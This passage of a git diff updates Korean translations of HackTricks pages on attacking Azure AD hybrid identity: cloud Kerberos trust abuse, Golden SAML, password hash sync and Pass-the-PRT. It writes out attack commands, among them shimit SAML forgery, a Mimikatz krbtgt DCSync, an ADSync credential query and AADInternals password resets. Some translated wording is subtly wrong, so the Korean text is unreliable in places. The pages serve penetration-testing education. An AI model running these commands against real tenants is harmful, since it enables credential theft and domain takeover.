가능합니다.** -## 클라우드 Kerberos 신뢰를 악용하여 도메인 관리자 권한 얻기 +## 도메인 관리자 권한을 얻기 위한 클라우드 Kerberos 신뢰 악용 -AzureAD가 **부분 TGT**를 생성할 때 사용자가 가진 세부 정보를 사용합니다. 따라서 글로벌 관리자가 **AzureAD에서 사용자에 대한 보안 식별자 및 이름과 같은 데이터를 수정할 수 있다면**, 해당 사용자의 TGT를 요청할 때 **보안 식별자가 다르게 될 것입니다.** +AzureAD가 **부분 TGT**를 생성할 때 사용자가 가진 세부 정보를 사용합니다. 따라서 글로벌 관리자가 **AzureAD에서 사용자의 보안 식별자 및 이름과 같은 데이터를 수정할 수 있다면**, 해당 사용자에 대한 TGT를 요청할 때 **보안 식별자가 다르게 될 것입니다.** -Microsoft Graph 또는 Azure AD Graph를 통해 이를 수행할 수는 없지만, **API Active Directory Connect**가 동기화된 사용자를 생성하고 업데이트하는 데 사용하는 API를 사용할 수 있습니다. 이를 통해 글로벌 관리자는 **하이브리드 사용자**의 SAM 이름과 SID를 수정할 수 있으며, 그런 다음 인증하면 수정된 SID를 포함하는 부분 TGT를 얻을 수 있습니다. +Microsoft Graph 또는 Azure AD Graph를 통해 이를 수행할 수는 없지만, **API Active Directory Connect**가 동기화된 사용자를 생성하고 업데이트하는 데 사용하는 API를 사용할 수 있습니다. 이를 통해 글로벌 관리자는 **하이브리드 사용자의 SAM 이름과 SID를 수정할 수 있으며**, 그런 다음 인증하면 수정된 SID를 포함하는 부분 TGT를 얻을 수 있습니다. -AADInternals를 사용하여 동기화된 사용자로 업데이트할 수 있으며, [Set-AADIntAzureADObject](https://aadinternals.com/aadinternals/#set-aadintazureadobject-a) cmdlet을 통해 이를 수행할 수 있습니다. +AADInternals를 사용하여 동기화된 사용자로 업데이트할 수 있으며, [Set-AADIntAzureADObject](https://aadinternals.com/aadinternals/#set-aadintazureadobject-a) cmdlet을 통해 가능합니다. ### 공격 전제 조건 @@ -38,12 +38,12 @@ AADInternals를 사용하여 동기화된 사용자로 업데이트할 수 있 - 계정을 동기화 API를 통해 변경할 수 있는 능력이 중요합니다. 이는 글로벌 관리자 역할을 가지거나 AD Connect 동기화 계정을 소유함으로써 달성할 수 있습니다. 또는 하이브리드 아이덴티티 관리자 역할이 충분하며, 이는 AD Connect를 관리하고 새로운 동기화 계정을 설정할 수 있는 능력을 부여합니다. - **하이브리드 계정**의 존재가 필수적입니다. 이 계정은 피해자 계정의 세부 정보로 수정 가능해야 하며 인증을 위해 접근할 수 있어야 합니다. -- Active Directory 내에서 **대상 피해자 계정**을 식별하는 것이 필요합니다. 공격은 이미 동기화된 모든 계정에서 실행할 수 있지만, Azure AD 테넌트는 온프레미스 보안 식별자를 복제하지 않아야 하므로 티켓을 얻기 위해 동기화되지 않은 계정을 수정해야 합니다. -- 또한 이 계정은 도메인 관리자와 동등한 권한을 가져야 하지만, AzureAD RODC에 의해 유효하지 않은 TGT가 생성되지 않도록 일반 AD 관리자 그룹의 구성원이 아니어야 합니다. -- 가장 적합한 대상은 **AD Connect Sync 서비스에서 사용되는 Active Directory 계정**입니다. 이 계정은 Azure AD와 동기화되지 않으므로 SID가 유효한 대상이 되며, 비밀번호 해시 동기화가 활성화된 경우 비밀번호 해시 동기화 역할로 인해 본질적으로 도메인 관리자와 동등한 권한을 가집니다. 익스프레스 설치가 있는 도메인의 경우 이 계정은 **MSOL\_**로 접두사가 붙습니다. 다른 경우에는 도메인 객체에서 디렉터리 복제 권한이 있는 모든 계정을 열거하여 이 계정을 식별할 수 있습니다. +- Active Directory 내에서 **대상 피해자 계정**을 식별하는 것이 필요합니다. 공격은 이미 동기화된 모든 계정에 대해 실행할 수 있지만, Azure AD 테넌트는 온프레미스 보안 식별자를 복제하지 않아야 하며, 티켓을 얻기 위해 동기화되지 않은 계정을 수정해야 합니다. +- 또한 이 계정은 도메인 관리자와 동등한 권한을 가져야 하지만, AzureAD RODC가 유효하지 않은 TGT를 생성하지 않도록 일반 AD 관리자 그룹의 구성원이 아니어야 합니다. +- 가장 적합한 대상은 **AD Connect Sync 서비스에서 사용되는 Active Directory 계정**입니다. 이 계정은 Azure AD와 동기화되지 않으며, SID가 유효한 대상이 되고, 비밀번호 해시 동기화가 활성화된 경우 도메인 관리자와 동등한 권한을 자연스럽게 가집니다. 익스프레스 설치가 있는 도메인의 경우 이 계정은 **MSOL\_**로 접두사가 붙습니다. 다른 경우에는 도메인 객체에서 디렉터리 복제 권한이 있는 모든 계정을 열거하여 이 계정을 식별할 수 있습니다. ### 전체 공격 -원본 게시물에서 확인하십시오: [https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/](https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/) +원본 게시물에서 확인하세요: [https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/](https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/) {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-default-applications.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-default-applications.md index 47e9f0d89..0365b6970 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-default-applications.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-default-applications.md @@ -2,8 +2,8 @@ {{#include ../../../../banners/hacktricks-training.md}} -**Check the techinque in:** [**https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/**](https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/)**,** [**https://www.youtube.com/watch?v=JEIR5oGCwdg**](https://www.youtube.com/watch?v=JEIR5oGCwdg) and [**https://www.youtube.com/watch?v=xei8lAPitX8**](https://www.youtube.com/watch?v=xei8lAPitX8) +**기술을 확인하세요:** [**https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/**](https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/)**,** [**https://www.youtube.com/watch?v=JEIR5oGCwdg**](https://www.youtube.com/watch?v=JEIR5oGCwdg) 및 [**https://www.youtube.com/watch?v=xei8lAPitX8**](https://www.youtube.com/watch?v=xei8lAPitX8) -이 블로그 게시물은 Azure AD의 권한 상승 취약점에 대해 논의하며, 애플리케이션 관리자가 또는 손상된 온프레미스 동기화 계정이 애플리케이션에 자격 증명을 할당하여 권한을 상승시킬 수 있도록 합니다. 이 취약점은 Azure AD의 애플리케이션 및 서비스 주체 처리 방식의 "설계상" 동작에서 비롯되며, 기본 Office 365 애플리케이션에 특히 영향을 미칩니다. 보고되었지만, Microsoft는 관리 권한 할당 동작에 대한 문서화로 인해 이 문제를 취약점으로 간주하지 않습니다. 이 게시물은 자세한 기술적 통찰력을 제공하며 Azure AD 환경에서 서비스 주체 자격 증명의 정기적인 검토를 권장합니다. 더 자세한 정보는 원본 블로그 게시물을 방문할 수 있습니다. +이 블로그 게시물은 Azure AD의 권한 상승 취약점에 대해 논의하며, 애플리케이션 관리자가 또는 손상된 온프레미스 동기화 계정이 애플리케이션에 자격 증명을 할당하여 권한을 상승시킬 수 있도록 합니다. 이 취약점은 Azure AD의 애플리케이션 및 서비스 주체 처리 방식의 "설계에 따른" 동작에서 발생하며, 기본 Office 365 애플리케이션에 특히 영향을 미칩니다. 보고되었지만, Microsoft는 관리 권한 할당 동작에 대한 문서화로 인해 이 문제를 취약점으로 간주하지 않습니다. 이 게시물은 자세한 기술적 통찰력을 제공하며 Azure AD 환경에서 서비스 주체 자격 증명의 정기적인 검토를 권장합니다. 더 자세한 정보는 원본 블로그 게시물을 방문하세요. {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-synchronising-new-users.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-synchronising-new-users.md index 1751aeed1..61b2b1fc7 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-synchronising-new-users.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-synchronising-new-users.md @@ -1,10 +1,10 @@ -# Az- Synchronising New Users +# Az- 새로운 사용자 동기화 {{#include ../../../../banners/hacktricks-training.md}} -## Syncing AzureAD users to on-prem to escalate from on-prem to AzureAD +## 온프레미스에서 AzureAD로 상승하기 위해 AzureAD 사용자를 온프레미스로 동기화하기 -AzureAD에서 온프레미스 AD로 새 사용자를 동기화하기 위해서는 다음과 같은 요구 사항이 있습니다: +AzureAD에서 온프레미스 AD로 새로운 사용자를 동기화하기 위해서는 다음과 같은 요구 사항이 있습니다: - **AzureAD 사용자**는 프록시 주소( **메일박스** )가 필요합니다. - 라이센스는 필요하지 않습니다. @@ -12,12 +12,12 @@ AzureAD에서 온프레미스 AD로 새 사용자를 동기화하기 위해서 ```powershell Get-MsolUser -SerachString admintest | select displayname, lastdirsynctime, proxyaddresses, lastpasswordchangetimestamp | fl ``` -사용자가 AzureAD에서 발견되면, **온프레미스 AD에서 액세스하기 위해** **SMTP 이메일의 proxyAddress**로 **새 계정을 생성**하면 됩니다. +사용자가 AzureAD에서 발견되면, **온프레미스 AD에서 액세스하기 위해** **프록시 주소**로 SMTP 이메일을 가진 **새 계정을 생성하기만 하면** 됩니다. 자동으로 이 사용자는 **AzureAD에서 온프레미스 AD 사용자로 동기화**됩니다. > [!CAUTION] -> 이 공격을 수행하기 위해 **도메인 관리자**가 필요하지 않으며, **새 사용자를 생성**할 수 있는 권한만 필요합니다. +> 이 공격을 수행하기 위해 **도메인 관리자 권한이 필요하지 않으며**, **새 사용자를 생성할 수 있는 권한만 필요**합니다. > > 또한, 이 **MFA를 우회하지 않습니다**. > diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/federation.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/federation.md index 7831e6b55..8c08bc627 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/federation.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/federation.md @@ -10,11 +10,11 @@
-기본적으로, 연합에서는 모든 **인증**이 **온프레미스** 환경에서 발생하며 사용자는 모든 신뢰된 환경에서 SSO를 경험합니다. 따라서 사용자는 **온프레미스 자격 증명**을 사용하여 **클라우드** 애플리케이션에 **접근**할 수 있습니다. +기본적으로, Federation에서는 모든 **인증**이 **온프레미스** 환경에서 발생하며 사용자는 모든 신뢰된 환경에서 SSO를 경험합니다. 따라서 사용자는 **온프레미스 자격 증명**을 사용하여 **클라우드** 애플리케이션에 **접근**할 수 있습니다. **Security Assertion Markup Language (SAML)**는 제공자 간의 모든 인증 및 권한 부여 **정보**를 **교환**하는 데 사용됩니다. -어떤 연합 설정에서도 세 가지 당사자가 있습니다: +모든 연합 설정에는 세 가지 당사자가 있습니다: - 사용자 또는 클라이언트 - ID 제공자 (IdP) @@ -24,12 +24,12 @@
-1. 처음에, 사용자가 애플리케이션 (서비스 제공자 또는 SP, 예: AWS 콘솔 또는 vSphere 웹 클라이언트)에 접근합니다. 이 단계는 특정 구현에 따라 클라이언트를 IdP (ID 제공자)로 직접 우회할 수 있습니다. +1. 처음에, 애플리케이션 (서비스 제공자 또는 SP, 예: AWS 콘솔 또는 vSphere 웹 클라이언트)에 사용자가 접근합니다. 이 단계는 특정 구현에 따라 클라이언트를 IdP (ID 제공자)로 직접 안내할 수 있습니다. 2. 이후, SP는 사용자 인증을 위해 적절한 IdP (예: AD FS, Okta)를 식별합니다. 그런 다음 SAML (Security Assertion Markup Language) AuthnRequest를 작성하고 클라이언트를 선택한 IdP로 리다이렉트합니다. 3. IdP가 사용자 인증을 수행합니다. 인증 후, IdP에 의해 SAMLResponse가 작성되어 사용자 통해 SP로 전달됩니다. -4. 마지막으로, SP는 SAMLResponse를 평가합니다. 성공적으로 검증되면 IdP와의 신뢰 관계를 의미하며, 사용자는 접근을 허용받습니다. 이는 로그인 프로세스의 완료를 나타내며 사용자가 서비스를 활용할 수 있게 합니다. +4. 마지막으로, SP는 SAMLResponse를 평가합니다. 성공적으로 검증되면 IdP와의 신뢰 관계를 의미하며, 사용자는 접근을 허용받습니다. 이는 로그인 프로세스의 완료를 나타내며 사용자가 서비스를 이용할 수 있게 합니다. -**SAML 인증 및 일반적인 공격에 대해 더 알고 싶다면 다음을 방문하세요:** +**SAML 인증 및 일반 공격에 대해 더 알고 싶다면 다음을 방문하세요:** {{#ref}} https://book.hacktricks.xyz/pentesting-web/saml-attacks @@ -37,12 +37,12 @@ https://book.hacktricks.xyz/pentesting-web/saml-attacks ## Pivoting -- AD FS는 클레임 기반 신원 모델입니다. -- "..클레임은 사용자가 만든 단순한 진술(예: 이름, 신원, 그룹)로, 주로 인터넷 어디에서나 클레임 기반 애플리케이션에 대한 접근을 권한 부여하는 데 사용됩니다." -- 사용자의 클레임은 SAML 토큰 내에 작성되며, IdP에 의해 기밀성을 제공하기 위해 서명됩니다. +- AD FS는 클레임 기반의 아이덴티티 모델입니다. +- "..클레임은 사용자를 대상으로 하는 단순한 진술(예: 이름, 아이덴티티, 그룹)로, 주로 인터넷 어디에나 있는 클레임 기반 애플리케이션에 대한 접근 권한을 부여하는 데 사용됩니다." +- 사용자의 클레임은 SAML 토큰 내에 작성되며, 이후 IdP에 의해 기밀성을 제공하기 위해 서명됩니다. - 사용자는 ImmutableID로 식별됩니다. 이는 전 세계적으로 고유하며 Azure AD에 저장됩니다. - ImmutableID는 온프레미스에서 ms-DS-ConsistencyGuid로 저장되며, 사용자의 GUID에서 파생될 수 있습니다. -- 자세한 내용은 [https://learn.microsoft.com/en-us/windows-server/identity/ad-fs/technical-reference/the-role-of-claims](https://learn.microsoft.com/en-us/windows-server/identity/ad-fs/technical-reference/the-role-of-claims)에서 확인하세요. +- 더 많은 정보는 [https://learn.microsoft.com/en-us/windows-server/identity/ad-fs/technical-reference/the-role-of-claims](https://learn.microsoft.com/en-us/windows-server/identity/ad-fs/technical-reference/the-role-of-claims)에서 확인할 수 있습니다. **Golden SAML 공격:** @@ -50,13 +50,13 @@ https://book.hacktricks.xyz/pentesting-web/saml-attacks - 인증서가 손상되면 Azure AD에 ANY 사용자로 인증할 수 있습니다! - PTA 남용과 마찬가지로, 사용자의 비밀번호 변경이나 MFA는 효과가 없으며, 인증 응답을 위조하고 있기 때문입니다. - 인증서는 DA 권한으로 AD FS 서버에서 추출할 수 있으며, 이후 인터넷에 연결된 어떤 기기에서도 사용할 수 있습니다. -- 자세한 내용은 [https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps](https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps)에서 확인하세요. +- 더 많은 정보는 [https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps](https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps)에서 확인할 수 있습니다. ### Golden SAML **ID 제공자 (IdP)**가 사용자 로그인을 승인하기 위해 **SAMLResponse**를 생성하는 과정은 매우 중요합니다. IdP의 특정 구현에 따라 **응답**은 **서명**되거나 **암호화**될 수 있으며, **IdP의 개인 키**를 사용합니다. 이 절차는 **서비스 제공자 (SP)**가 SAMLResponse의 진위를 확인할 수 있게 하여, 신뢰할 수 있는 IdP에 의해 발급되었음을 보장합니다. -[골든 티켓 공격](https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/golden-ticket)과 유사하게, 사용자의 신원 및 권한을 인증하는 키(KRBTGT는 골든 티켓의 경우, 토큰 서명 개인 키는 골든 SAML의 경우)를 조작하여 **인증 객체**(TGT 또는 SAMLResponse)를 **위조**할 수 있습니다. 이를 통해 어떤 사용자로도 가장할 수 있으며, SP에 대한 무단 접근을 허용합니다. +[골든 티켓 공격](https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/golden-ticket)과 유사한 점이 있으며, 사용자의 아이덴티티와 권한을 인증하는 키(KRBTGT는 골든 티켓의 경우, 토큰 서명 개인 키는 골든 SAML의 경우)를 조작하여 **인증 객체**(TGT 또는 SAMLResponse)를 위조할 수 있습니다. 이를 통해 어떤 사용자로도 가장할 수 있으며, SP에 대한 무단 접근을 허용합니다. 골든 SAML은 몇 가지 장점을 제공합니다: @@ -67,9 +67,9 @@ https://book.hacktricks.xyz/pentesting-web/saml-attacks #### AWS + AD FS + Golden SAML -[Active Directory Federation Services (AD FS)]()는 신뢰할 수 있는 비즈니스 파트너 간의 **신원 정보의 안전한 교환**을 촉진하는 Microsoft 서비스입니다 (연합). 본질적으로 도메인 서비스가 연합 내의 다른 서비스 제공자와 사용자 신원을 공유할 수 있게 합니다. +[Active Directory Federation Services (AD FS)]()는 신뢰할 수 있는 비즈니스 파트너 간의 **아이덴티티 정보의 안전한 교환**을 촉진하는 Microsoft 서비스입니다. 본질적으로 도메인 서비스가 연합 내의 다른 서비스 제공자와 사용자 아이덴티티를 공유할 수 있게 합니다. -AWS가 손상된 도메인을 신뢰하는 경우 (연합 내에서), 이 취약점을 이용하여 **AWS 환경에서 어떤 권한도 획득**할 수 있습니다. 이 공격은 SAML 객체에 서명하는 데 사용되는 **개인 키**가 필요하며, 이는 골든 티켓 공격에서 KRBTGT가 필요한 것과 유사합니다. AD FS 사용자 계정에 대한 접근만으로도 이 개인 키를 얻을 수 있습니다. +AWS가 손상된 도메인을 신뢰하는 경우(연합 내에서), 이 취약점을 이용하여 AWS 환경에서 **모든 권한을 획득**할 수 있습니다. 이 공격은 SAML 객체에 서명하는 데 사용되는 **개인 키**가 필요하며, 이는 골든 티켓 공격에서 KRBTGT가 필요한 것과 유사합니다. AD FS 사용자 계정에 대한 접근만으로도 이 개인 키를 얻을 수 있습니다. 골든 SAML 공격을 실행하기 위한 요구 사항은 다음과 같습니다: @@ -97,7 +97,7 @@ _굵게 표시된 항목만 필수입니다. 나머지는 원하는 대로 입 # Role Name (Get-ADFSRelyingPartyTrust).IssuanceTransformRule ``` -모든 정보를 바탕으로, [**shimit**](https://github.com/cyberark/shimit)**를 사용하여 가장 원하는 사용자의 유효한 SAMLResponse를 잊어버릴 수 있습니다:** +모든 정보를 바탕으로, [**shimit**](https://github.com/cyberark/shimit)**를 사용하여 가장하고자 하는 사용자로서 유효한 SAMLResponse를 잊어버리는 것이 가능합니다:** ```bash # Apply session for AWS cli python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -c cert_file -u domain\admin -n admin@domain.com -r ADFS-admin -r ADFS-monitor -id 123456789012 diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/phs-password-hash-sync.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/phs-password-hash-sync.md index 28d51fb1c..e59a94420 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/phs-password-hash-sync.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/phs-password-hash-sync.md @@ -8,14 +8,14 @@
-이는 온프레미스 AD를 Azure AD와 동기화하는 데 사용되는 **가장 일반적인 방법**입니다. +이는 회사들이 온프레미스 AD와 Azure AD를 동기화하는 데 사용하는 **가장 일반적인 방법**입니다. 모든 **사용자**와 **비밀번호 해시의 해시**가 온프레미스에서 Azure AD로 동기화됩니다. 그러나 **평문 비밀번호**나 **원본** **해시**는 Azure AD로 전송되지 않습니다.\ -또한, **내장** 보안 그룹(예: 도메인 관리자 등)은 Azure AD로 **동기화되지 않습니다**. +게다가, **내장** 보안 그룹(예: 도메인 관리자 등)은 Azure AD로 **동기화되지 않습니다**. **해시 동기화**는 매 **2분**마다 발생합니다. 그러나 기본적으로 **비밀번호 만료** 및 **계정** **만료**는 Azure AD에서 **동기화되지 않습니다**. 따라서 **온프레미스 비밀번호가 만료된**(변경되지 않은) 사용자는 이전 비밀번호를 사용하여 **Azure 리소스에 계속 접근할 수 있습니다**. -온프레미스 사용자가 Azure 리소스에 접근하려고 할 때, **인증은 Azure AD에서 이루어집니다**. +온프레미스 사용자가 Azure 리소스에 접근하고자 할 때, **인증은 Azure AD에서 이루어집니다**. **PHS**는 **Identity Protection** 및 AAD 도메인 서비스와 같은 기능에 필요합니다. @@ -23,8 +23,8 @@ PHS가 구성되면 일부 **특권 계정**이 자동으로 **생성됩니다**: -- 계정 **`MSOL_`**는 온프레미스 AD에서 자동으로 생성됩니다. 이 계정은 **디렉터리 동기화 계정** 역할이 부여됩니다(자세한 내용은 [문서](https://docs.microsoft.com/en-us/azure/active-directory/users-groups-roles/directory-assign-admin-roles#directory-synchronization-accounts-permissions) 참조) 이는 이 계정이 **온프레미스 AD에서 복제(DCSync) 권한을 가지고 있음을 의미합니다**. -- 계정 **`Sync_<온프레미스 ADConnect 서버 이름>_installationID`**가 Azure AD에서 생성됩니다. 이 계정은 Azure AD에서 **모든 사용자**(동기화된 사용자 또는 클라우드 전용 사용자)의 비밀번호를 **재설정할 수 있습니다**. +- 계정 **`MSOL_`**는 온프레미스 AD에 자동으로 생성됩니다. 이 계정은 **디렉터리 동기화 계정** 역할이 부여됩니다(자세한 내용은 [문서](https://docs.microsoft.com/en-us/azure/active-directory/users-groups-roles/directory-assign-admin-roles#directory-synchronization-accounts-permissions) 참조). 이는 온프레미스 AD에서 **복제(DCSync) 권한**을 가지고 있음을 의미합니다. +- 계정 **`Sync__installationID`**가 Azure AD에 생성됩니다. 이 계정은 Azure AD에서 **모든 사용자**(동기화된 사용자 또는 클라우드 전용 사용자)의 비밀번호를 **재설정할 수 있습니다**. 이 두 개의 특권 계정의 비밀번호는 **Azure AD Connect가 설치된 서버의 SQL 서버에 저장됩니다**. 관리자는 이러한 특권 사용자의 비밀번호를 평문으로 추출할 수 있습니다.\ 데이터베이스는 `C:\Program Files\Microsoft Azure AD Sync\Data\ADSync.mdf`에 위치합니다. @@ -33,11 +33,11 @@ PHS가 구성되면 일부 **특권 계정**이 자동으로 **생성됩니다** `SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent;` -**암호화된 구성**은 **DPAPI**로 암호화되어 있으며, 온프레미스 AD의 **`MSOL_*`** 사용자 비밀번호와 AzureAD의 **Sync\_\*** 비밀번호를 포함하고 있습니다. 따라서 이를 타협하면 AD와 AzureAD에 대한 권한 상승이 가능합니다. +**암호화된 구성**은 **DPAPI**로 암호화되어 있으며, 온프레미스 AD의 **`MSOL_*`** 사용자 비밀번호와 AzureAD의 **Sync\_\*** 비밀번호를 포함하고 있습니다. 따라서 이를 타협하면 AD와 AzureAD로 권한 상승이 가능합니다. 이 자격 증명이 저장되고 복호화되는 방법에 대한 [전체 개요는 이 강연에서 확인할 수 있습니다](https://www.youtube.com/watch?v=JEIR5oGCwdg). -### **Azure AD Connect 서버 찾기** +### Finding the **Azure AD connect server** **Azure AD Connect가 설치된 서버**가 도메인에 가입되어 있다면(문서에서 권장), 다음과 같이 찾을 수 있습니다: ```powershell @@ -61,7 +61,7 @@ Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\krbtgt /domain:domain.lo ### Sync\_\* 악용 -**`Sync_*`** 계정을 손상시키면 모든 사용자의 **비밀번호를 재설정**할 수 있습니다(전역 관리자 포함). +**`Sync_*`** 계정을 손상시키면 모든 사용자의 **비밀번호를 재설정**할 수 있습니다 (전역 관리자 포함). ```powershell # This command, run previously, will give us alse the creds of this account Get-AADIntSyncCredentials @@ -91,20 +91,20 @@ Get-AADIntUsers | ?{$_.DirSyncEnabled -ne "True"} | select UserPrincipalName,Obj # Reset password Set-AADIntUserPassword -CloudAnchor "User_19385ed9-sb37-c398-b362-12c387b36e37" -Password "JustAPass12343.%" -Verbosewers ``` -사용자의 비밀번호를 덤프하는 것도 가능합니다. +이 사용자의 비밀번호를 덤프하는 것도 가능합니다. > [!CAUTION] > 또 다른 옵션은 **서비스 주체에 특권 권한을 할당하는 것**인데, **Sync** 사용자가 **권한**을 가지고 있으며, 그런 다음 **그 서비스 주체에 접근하는 것**이 권한 상승의 방법이 될 수 있습니다. -### 원활한 SSO +### Seamless SSO -PHS와 함께 원활한 SSO를 사용할 수 있으며, 이는 다른 남용에 취약합니다. 확인해 보세요: +PHS와 함께 Seamless SSO를 사용할 수 있으며, 이는 다른 남용에 취약합니다. 확인해 보세요: {{#ref}} seamless-sso.md {{#endref}} -## 참조 +## References - [https://learn.microsoft.com/en-us/azure/active-directory/hybrid/whatis-phs](https://learn.microsoft.com/en-us/azure/active-directory/hybrid/whatis-phs) - [https://aadinternals.com/post/on-prem_admin/](https://aadinternals.com/post/on-prem_admin/) diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/pass-the-prt.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/pass-the-prt.md index bb17f5ef1..2463229f5 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/pass-the-prt.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/pass-the-prt.md @@ -16,13 +16,13 @@ SSO 상태 섹션에서 **`AzureAdPrt`**가 **YES**로 설정되어 있는 것
-같은 출력에서 **장치가 Azure에 가입되어 있는지**(필드 `AzureAdJoined`에서) 확인할 수 있습니다: +같은 출력에서 **장치가 Azure에 가입되어 있는지** (필드 `AzureAdJoined`에서) 확인할 수 있습니다:
## PRT 쿠키 -PRT 쿠키는 실제로 **`x-ms-RefreshTokenCredential`**이라고 하며, JSON 웹 토큰(JWT)입니다. JWT는 **3부분**으로 구성되어 있으며, **헤더**, **페이로드** 및 **서명**으로 나뉘며 `.`로 구분되고 모두 URL 안전한 base64로 인코딩됩니다. 일반적인 PRT 쿠키는 다음과 같은 헤더와 본문을 포함합니다: +PRT 쿠키는 실제로 **`x-ms-RefreshTokenCredential`**이라고 하며, JSON 웹 토큰(JWT)입니다. JWT는 **3부분**으로 구성되어 있으며, **헤더**, **페이로드** 및 **서명**으로 나뉘며, `.`로 구분되고 모두 URL 안전한 base64로 인코딩됩니다. 일반적인 PRT 쿠키는 다음과 같은 헤더와 본문을 포함합니다: ```json { "alg": "HS256", @@ -34,11 +34,11 @@ PRT 쿠키는 실제로 **`x-ms-RefreshTokenCredential`**이라고 하며, JSON "request_nonce": "AQABAAAAAAAGV_bv21oQQ4ROqh0_1-tAPrlbf_TrEVJRMW2Cr7cJvYKDh2XsByis2eCF9iBHNqJJVzYR_boX8VfBpZpeIV078IE4QY0pIBtCcr90eyah5yAA" } ``` -The actual **Primary Refresh Token (PRT)**는 **`refresh_token`** 내에 캡슐화되어 있으며, 이는 Azure AD의 제어 하에 있는 키로 암호화되어 있어 그 내용은 우리에게 불투명하고 복호화할 수 없습니다. 필드 **`is_primary`**는 이 토큰 내에 기본 새로 고침 토큰이 캡슐화되어 있음을 나타냅니다. 쿠키가 의도된 특정 로그인 세션에 바인딩되도록 하기 위해, `request_nonce`는 `logon.microsoftonline.com` 페이지에서 전송됩니다. +실제 **Primary Refresh Token (PRT)**는 **`refresh_token`** 내에 캡슐화되어 있으며, 이는 Azure AD의 제어 하에 있는 키로 암호화되어 있어 그 내용은 우리에게 불투명하고 복호화할 수 없습니다. 필드 **`is_primary`**는 이 토큰 내에서 기본 새로 고침 토큰의 캡슐화를 나타냅니다. 쿠키가 의도된 특정 로그인 세션에 바인딩되도록 하기 위해, `request_nonce`는 `logon.microsoftonline.com` 페이지에서 전송됩니다. -### PRT 쿠키 흐름 사용 TPM +### TPM을 이용한 PRT 쿠키 흐름 -**LSASS** 프로세스는 TPM에 **KDF 컨텍스트**를 전송하고, TPM은 **세션 키**(AzureAD에 장치가 등록될 때 수집되어 TPM에 저장됨)와 이전 컨텍스트를 사용하여 **키를 파생**하며, 이 **파생된 키**는 **PRT 쿠키(JWT)를 서명하는 데 사용됩니다.** +**LSASS** 프로세스는 TPM에 **KDF 컨텍스트**를 전송하고, TPM은 **세션 키**(AzureAD에 등록될 때 수집되어 TPM에 저장됨)와 이전 컨텍스트를 사용하여 **키를 파생**하며, 이 **파생된 키**는 **PRT 쿠키(JWT)를 서명하는 데 사용됩니다.** **KDF 컨텍스트는** AzureAD의 논스와 PRT가 혼합된 **JWT**와 **컨텍스트**(무작위 바이트)입니다. @@ -51,13 +51,13 @@ The actual **Primary Refresh Token (PRT)**는 **`refresh_token`** 내에 캡슐 **일반 사용자**로서 LSASS에 SSO 데이터를 요청하여 **PRT 사용 요청**을 할 수 있습니다.\ 이는 **Web Account Manager**(토큰 브로커)에서 토큰을 요청하는 **네이티브 앱**처럼 수행할 수 있습니다. WAM은 요청을 **LSASS**에 전달하고, LSASS는 서명된 PRT 주장을 사용하여 토큰을 요청합니다. 또는 **PRT 쿠키**를 **헤더**로 사용하여 Azure AS 로그인 페이지에 대한 요청을 인증하는 **브라우저 기반(웹) 흐름**으로 수행할 수 있습니다. -**SYSTEM**으로서 TPM에 의해 보호되지 않는 경우 PRT를 **훔치거나** LSASS에서 PRT 키와 상호작용할 수 있습니다. +**SYSTEM**으로서 TPM에 의해 보호되지 않는 경우 PRT를 **탈취하거나 LSASS에서 